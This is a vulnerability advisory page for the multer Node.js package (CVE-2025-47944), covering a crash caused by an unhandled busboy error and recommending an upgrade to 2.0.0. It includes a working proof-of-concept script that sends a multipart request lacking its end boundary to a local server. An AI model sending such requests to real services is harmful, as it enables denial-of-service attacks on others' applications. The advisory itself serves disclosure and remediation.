Uncaught Exception Affecting multer package, versions <2.0.0


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (11th percentile)

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  • Snyk IDSNYK-JS-MULTER-10185673
  • published20 May 2025
  • disclosed19 May 2025
  • creditMax Mathieu

Introduced: 19 May 2025

NewCVE-2025-47944  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade multer to version 2.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

CVSS Base Scores

version 4.0
version 3.1